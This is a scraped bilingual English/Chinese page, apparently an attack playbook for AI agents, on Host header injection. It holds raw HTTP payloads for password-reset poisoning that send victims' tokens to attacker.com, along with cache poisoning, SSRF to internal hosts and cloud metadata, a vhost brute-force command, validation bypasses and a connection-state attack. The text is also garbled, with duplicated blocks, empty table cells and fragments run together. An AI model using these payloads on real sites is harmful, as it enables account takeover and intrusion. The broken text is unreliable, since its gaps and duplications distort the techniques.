Loading...
Loading...
Compare original and translation side by side
AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.
AI加载说明:涵盖用于密码重置投毒、缓存投毒、路由型SSRF和虚拟主机绕过的Host头注入技术,包含Host验证绕过技巧以及特定框架的行为特性。基础模型通常会遗漏双Host头技巧、绝对URI覆盖和连接状态攻击。
| Usage | Exploitation |
|---|---|
| URL generation (password reset links, email links) | Inject attacker domain → user clicks link to attacker |
| Virtual host routing | Spoof Host → access internal/admin vhost |
| Cache key component | Inject different Host → poison cache for all users |
| Reverse proxy routing | Host determines backend → SSRF to internal services |
| Access control decisions | Host-based ACLs can be bypassed |
| Canonical URL / SEO redirects | Host injection → open redirect |
| 用途 | 利用方式 |
|---|---|
| URL生成(密码重置链接、邮件链接) | 注入攻击者域名 → 用户点击链接跳转到攻击者站点 |
| 虚拟主机路由 | 伪造Host头 → 访问内部/管理端虚拟主机 |
| 缓存键组成部分 | 注入不同的Host头 → 为所有用户投毒缓存 |
| 反向代理路由 | Host决定后端服务 → 发起SSRF访问内部服务 |
| 访问控制决策 | 可绕过基于Host的访问控制列表 |
| 规范URL / SEO跳转 | Host注入 → 开放跳转漏洞 |
1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
POST /forgot-password HTTP/1.1
Host: attacker.com ← injected
email=victim@target.com
3. Server generates reset link using Host header value:
"Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"
4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password1. 攻击者请求为victim@target.com重置密码
2. 攻击者修改重置请求中的Host头:
POST /forgot-password HTTP/1.1
Host: attacker.com ← 注入的恶意Host
email=victim@target.com
3. 服务器使用Host头的值生成重置链接:
"点击重置密码:https://attacker.com/reset?token=SECRET_TOKEN"
4. 受害者收到邮件后点击链接 → 令牌被发送到攻击者服务器
5. 攻击者使用令牌在真实的target.com站点重置密码POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.comPOST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
email=victim@target.comHost: target.com.attacker.comhttps://target.com.attacker.com/reset?token=xxxHost: target.com:@attacker.comattacker.comHost: target.com.attacker.comhttps://target.com.attacker.com/reset?token=xxxHost: target.com:@attacker.comattacker.com1. Attacker sends:
GET / HTTP/1.1
Host: attacker.com
2. If cache keys on URL path but NOT on Host header:
→ Response cached with attacker.com in generated links/content
3. Subsequent users requesting GET / receive the poisoned response
→ Links point to attacker.com, scripts load from attacker.com1. 攻击者发送请求:
GET / HTTP/1.1
Host: attacker.com
2. 如果缓存键仅基于URL路径、不包含Host头:
→ 响应中生成的链接/内容携带attacker.com被缓存
3. 后续请求GET /的用户都会收到被投毒的响应
→ 链接指向attacker.com,脚本从attacker.com加载GET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal serviceproxy_pass$hostProxyPassGET /api/internal HTTP/1.1
Host: internal-admin-panel.local
→ 反向代理将请求路由到internal-admin-panel.local
→ 攻击者成功访问内部服务$hostproxy_passProxyPassTarget: Host: www.target.com → public site
Hidden: Host: admin.target.com → admin panel (not in public DNS)
Hidden: Host: staging.target.com → staging environment
Hidden: Host: localhost → server status page公开服务:Host: www.target.com → 公开站点
隐藏服务:Host: admin.target.com → 管理面板(未公开在公网DNS)
隐藏服务:Host: staging.target.com → 测试环境
隐藏服务:Host: localhost → 服务器状态页1. Brute-force Host header with common vhost names:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. Try special values:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. Compare response size/content to identify different vhosts1. 使用常见虚拟主机名字典爆破Host头:
ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt
2. 尝试特殊值:
Host: localhost
Host: 127.0.0.1
Host: admin
Host: internal
Host: intranet
3. 对比响应大小/内容来识别不同的虚拟主机| Header | Frameworks That Trust It |
|---|---|
| Symfony, Laravel, Django (when |
| Some custom proxy configurations |
| IIS with URL Rewrite module |
| IIS with URL Rewrite module |
| RFC 7239 compliant proxies |
| Apache mod_proxy |
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com| 头名称 | 信任该头的框架 |
|---|---|
| Symfony、Laravel、Django(当 |
| 部分自定义代理配置 |
| 安装了URL重写模块的IIS |
| 安装了URL重写模块的IIS |
| 符合RFC 7239标准的代理 |
| Apache mod_proxy |
GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.comGET http:/path HTTP/1.1
Host: target.comGET http:/path HTTP/1.1
Host: target.comGET /path HTTP/1.1
Host: target.com
Host: attacker.comtarget.com, attacker.comGET /path HTTP/1.1
Host: target.com
Host: attacker.comtarget.com, attacker.comHost: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com@#Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com@#Host: target.com.target.com.target.comtarget.com. ≠ target.comHost: target.com.target.com.target.comtarget.com. ≠ target.comHost: target.com\tattacker.com
Host: target.com attacker.comattacker.comtarget.comHost: target.com\tattacker.com
Host: target.com attacker.comtarget.comattacker.comHost: "attacker.com"
Host: <attacker.com>Host: "attacker.com"
Host: <attacker.com>| Framework | Host Source | Gotcha |
|---|---|---|
| PHP | | |
| Django | | |
| Rails | | Rails 6+ |
| Node/Express | | No built-in host validation |
| 框架 | Host来源 | 注意事项 |
|---|---|---|
| PHP | | 仅当配置 |
| Django | | |
| Rails | | Rails 6+的 |
| Node/Express | | 没有内置的Host验证机制 |
Connection 1:
Request 1: GET / HTTP/1.1 ← Valid Host: target.com
Host: target.com → Proxy validates, forwards, keeps connection open
Request 2: GET /admin HTTP/1.1 ← Evil Host on SAME connection
Host: evil.com → Some proxies skip validation on subsequent requests
(they validated the connection on first request)连接1:
请求1:GET / HTTP/1.1 ← 合法Host: target.com
Host: target.com → 代理验证通过,转发请求,保持连接开启
请求2:GET /admin HTTP/1.1 ← 同一连接下的恶意Host
Host: evil.com → 部分代理不会对后续请求做验证
(它们认为首次请求已经验证过连接合法性)1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently1. 使用Burp Repeater,设置"Connection: keep-alive"
2. 先发送正常请求
3. 在同一连接下发送Host被篡改的请求
4. 检查第二个请求的处理结果是否异常Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│ ├── Change Host to attacker domain → reflected in response?
│ │ ├── YES → Check impact:
│ │ │ ├── In password reset emails? → PASSWORD RESET POISONING
│ │ │ ├── In cached responses? → WEB CACHE POISONING
│ │ │ ├── In redirects? → OPEN REDIRECT
│ │ │ └── In script/link URLs? → XSS VIA HOST
│ │ └── NO (400/403/different response) → Host is validated
│ │
│ └── Host validated? Try bypasses:
│ ├── X-Forwarded-Host header
│ ├── X-Host / X-Original-URL / Forwarded header
│ ├── Absolute URL in request line
│ ├── Double Host header
│ ├── Host: target.com:@attacker.com (URL parser confusion)
│ ├── Host: target.com. (trailing dot)
│ ├── Tab/space injection in Host value
│ └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│ ├── Brute-force Host values against target IP
│ ├── Try: localhost, admin, staging, internal, intranet
│ └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│ ├── Host: 127.0.0.1 → internal service?
│ ├── Host: internal-hostname.local → internal routing?
│ └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
└── Check if app uses Host in server-side operations
(email generation, webhook URLs, API callbacks)应用是否在响应/业务逻辑中使用Host头?
│
├── 测试直接Host注入
│ ├── 将Host改为攻击者域名 → 是否在响应中回显?
│ │ ├── 是 → 检查影响:
│ │ │ ├── 是否出现在密码重置邮件中? → 密码重置投毒
│ │ │ ├── 是否出现在缓存响应中? → Web缓存投毒
│ │ │ ├── 是否出现在跳转中? → 开放跳转
│ │ │ └── 是否出现在脚本/链接URL中? → 通过Host头实现XSS
│ │ └── 否(返回400/403/响应不同) → Host被验证
│ │
│ └── Host被验证?尝试绕过:
│ ├── X-Forwarded-Host头
│ ├── X-Host / X-Original-URL / Forwarded头
│ ├── 请求行中的绝对URL
│ ├── 双Host头
│ ├── Host: target.com:@attacker.com(URL解析器混淆)
│ ├── Host: target.com.(末尾点)
│ ├── Host值中注入制表符/空格
│ └── 连接状态攻击(先发送合法请求,再发送恶意请求)
│
├── 测试虚拟主机枚举
│ ├── 针对目标IP爆破Host值
│ ├── 尝试:localhost、admin、staging、internal、intranet
│ └── 对比不同Host值的响应大小
│
├── 测试Host路由型SSRF
│ ├── Host: 127.0.0.1 → 是否访问到内部服务?
│ ├── Host: internal-hostname.local → 是否能内部路由?
│ └── Host: 169.254.169.254 → 是否访问到云元数据服务?
│
└── 未发现基于Host的行为
└── 检查应用是否在服务端操作中使用Host
(邮件生成、Webhook URL、API回调)HostX-Forwarded-HostGET http://evil.com/path HTTP/1.1\nHost: target.comX-Forwarded-HostHostX-Forwarded-HostGET http://evil.com/path HTTP/1.1\nHost: target.comX-Forwarded-Host